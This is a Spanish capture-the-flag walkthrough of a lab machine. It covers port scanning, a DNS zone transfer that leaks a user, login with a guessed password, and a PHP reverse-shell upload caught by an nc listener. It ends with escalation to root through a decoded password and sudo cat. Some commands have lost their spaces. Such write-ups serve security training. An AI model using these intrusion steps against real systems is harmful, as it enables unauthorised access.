Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 05:35 EST
Nmap scan report for 172.18.0.2
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8e:a2:56:38:e1:85:2f:21:2b:55:ec:29:5b:f8:63:d9 (ECDSA)
|_ 256 0f:4b:38:fa:04:33:c7:01:5a:98:12:05:2d:42:cf:1a (ED25519)
53/tcp open domain ISC BIND 9.18.28-0ubuntu0.24.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.28-0ubuntu0.24.04.1-Ubuntu
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: HackZones.hl - Seguridad para tu Empresa
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
Si probamos a ver la pagina web que tiene abierta, veremos que a simple vista no vemos nada interesante, pero si inspeccionamos el codigo, veremos la siguiente parte:
Es bastante interesante la cadena TlM6IGhhY2t6b25lLmhs parece un Base64, por lo que si lo decodificamos, veremos lo siguiente:
NS: hackzone.hl
Parece ser como que nos da un Name Server de algun dominio llamado hackzone.hl, pero si lo probamos a poner en el hosts y buscarlo por ese dominio, no va a funcionar, ya que si nos bajamos un poco mas en el footer de la pagina, veremos otro dominio llamado hackzones.hl que ese si nos llevara a un login de lo que parece unos servidores DNS:
Dominio puerto 80
Por lo que meteremos ese ultimo dominio en el archivo hosts:
nano/etc/hosts#Dentro del nano<IP> hackzones.hl
Lo guardamos y ahora lo buscaremos en el navegador web.
URL = http://hackzones.hl/
Como dije antes parece ser un login de unos servidores DNS y sabiendo que el puerto 53 esta abierto, vamos a probar a extraer la informacion del archivo de zona de los servidores DNS (ZoneTransfer) por lo que probaremos con el dominio que no nos funciono llamado hackzone.hl.
Transferencia de zona del archivo DNS
Pondremos el siguiente comando:
dig@<IP>hackzone.hlAXFR
Info:
; <<>> DiG 9.20.2-1-Debian <<>> @172.19.0.2 hackzone.hl AXFR
; (1 server found)
;; global options: +cmd
hackzone.hl. 604800 IN SOA ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
hackzone.hl. 604800 IN NS ns.hackzone.hl.
flag.hackzone.hl. 604800 IN TXT "FLAG{05964683-55675-23423-985046}"
ns.hackzone.hl. 604800 IN A 127.0.0.1
User.hackzone.hl. 604800 IN TXT "mrRobot@hackzone.hl"
www.hackzone.hl. 604800 IN A 127.0.0.1
hackzone.hl. 604800 IN SOA ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 172.19.0.2#53(172.19.0.2) (TCP)
;; WHEN: Fri Nov 15 05:48:28 EST 2024
;; XFR size: 7 records (messages 1, bytes 286)
Por lo que vemos hay como una cuenta de correo llamada mrRobot@hackzone.hl pero en el login nos pide un usuario, por lo que vamos a meter como usuario mrRobot y como contraseña, nos servira el propio dominio que tiene asociado en el correo llamado hackzone.hl.
User = mrRobot
Pass = hackzone.hl
Esto nos llevara a un panel de administrador, en el que si vemos el perfil del administrador no tiene imagen y encima podemos subir un archivo, por lo que probaremos a subir un .php con una reverse shell:
Ahora teniendo el archivo, le daremos a Browser, seleccionamos el archivo .php que creamos, y le daremos a Subir Archivo, si todo a salido bien nos pondra un pensaje en una pagina lo siguiente:
El archivo shell.php se ha subido correctamente.
Ahora si nos vamos por intuicion a la tipica carpeta llamada uploads/ podremos ver que si existe, igualmente se puede hacer con Gobuster.
Nos pondremos antes a la escucha:
nc-lvnp<PORT>
Y ahora ejecutaremos el archivo .php:
URL = http://hackzones.hl/uploads/shell.php
Y si volvemos a donde teniamos la escucha veremos algo tal que asi:
listening on [any] 7777 ...
connect to [192.168.5.147] from (UNKNOWN) [172.19.0.2] 39948
whoami
www-data
Por lo que ya seremos el usuario www-data.
Escalate user mrrobot
Si nos vamos a la siguiente direccion, veremos una carpeta bastante rara.
cd/var/www/html/
Veremos una carpeta llamada supermegaultrasecretfolder, si entramos dentro de ella, veremos un archivo llamado secret.sh, pero si lo intentamos ejecutar, nos pone que solo se puede como root:
Este script debe ser ejecutado como root.
Pero si nos dejara leerlo:
#!/bin/bash
if [ "$(id -u)" -ne 0 ]; then
echo "Este script debe ser ejecutado como root."
exit 1
fi
p1=$(echo -e "\x50\x61\x73\x73\x77\x6f\x72\x64")
p2="\x40"
p3="\x24\x24"
p4="\x21\x31\x32\x33"
echo -e "${p1}${p2}${p3}${p4}"
Vemos lo que parece una frase codificada, si lo decodificamos se veria algo tal que asi:
Password@$$!123
Por lo que parece una contraseña, probaremos a meterla para el usuario mrrobot.
sumrrobot
Y vemos que ya somos dicho usuario, por lo que leeremos la flag.
user.txt
c187e24646744125f041582154a534bb
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for mrrobot on 3e83d48104c8:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mrrobot may run the following commands on 3e83d48104c8:
(ALL : ALL) NOPASSWD: /usr/bin/cat
Por lo que vemos podemos ejecutar el binario cat como root, si nos vamos a la siguiente directorio:
cd/opt
Veremos un archivo llamado SistemUpdate el cual tiene los siguientes permisos:
-rw------- 1 root root 1827 Nov 15 11:28 SistemUpdate
Por lo que utilizaremos cat como root para poder leerlo:
sudocatSistemUpdate
Info:
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
libc-bin libc-dev-bin libc6 libc6-dev libc6-i386
5 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 8,238 kB of archives.
After this operation, 1,024 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6 amd64 2.31-0ubuntu9.9 [2,737 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-bin amd64 2.31-0ubuntu9.9 [635 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6-dev amd64 2.31-0ubuntu9.9 [2,622 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-dev-bin amd64 2.31-0ubuntu9.9 [189 kB]
Fetched 8,238 kB in 2s (4,119 kB/s)
Extracting user root:rooteable from packages: 50%
Extracting templates from packages: 100%
Preconfiguring packages ...
(Reading database ... 275198 files and directories currently installed.)
Preparing to unpack .../libc6_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc6-dev_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6-dev:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-dev-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-dev-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Setting up libc6:amd64 (2.31-0ubuntu9.9) ...
Setting up libc-bin (2.31-0ubuntu9.9) ...
Setting up libc-dev-bin (2.31-0ubuntu9.9) ...
Setting up libc6-dev:amd64 (2.31-0ubuntu9.9) ...
Processing triggers for libc-bin (2.31-0ubuntu9.9) ...
Veremos todo esto, pero si nos centramos en la siguiente linea:
Extracting user root:rooteable from packages: 50%
Vemos lo que parece la contraseña de root, por lo que probaremos a usarla con root:
suroot
Ponemos rooteable y como veremos ya seremos root, por lo que leeremos la flag.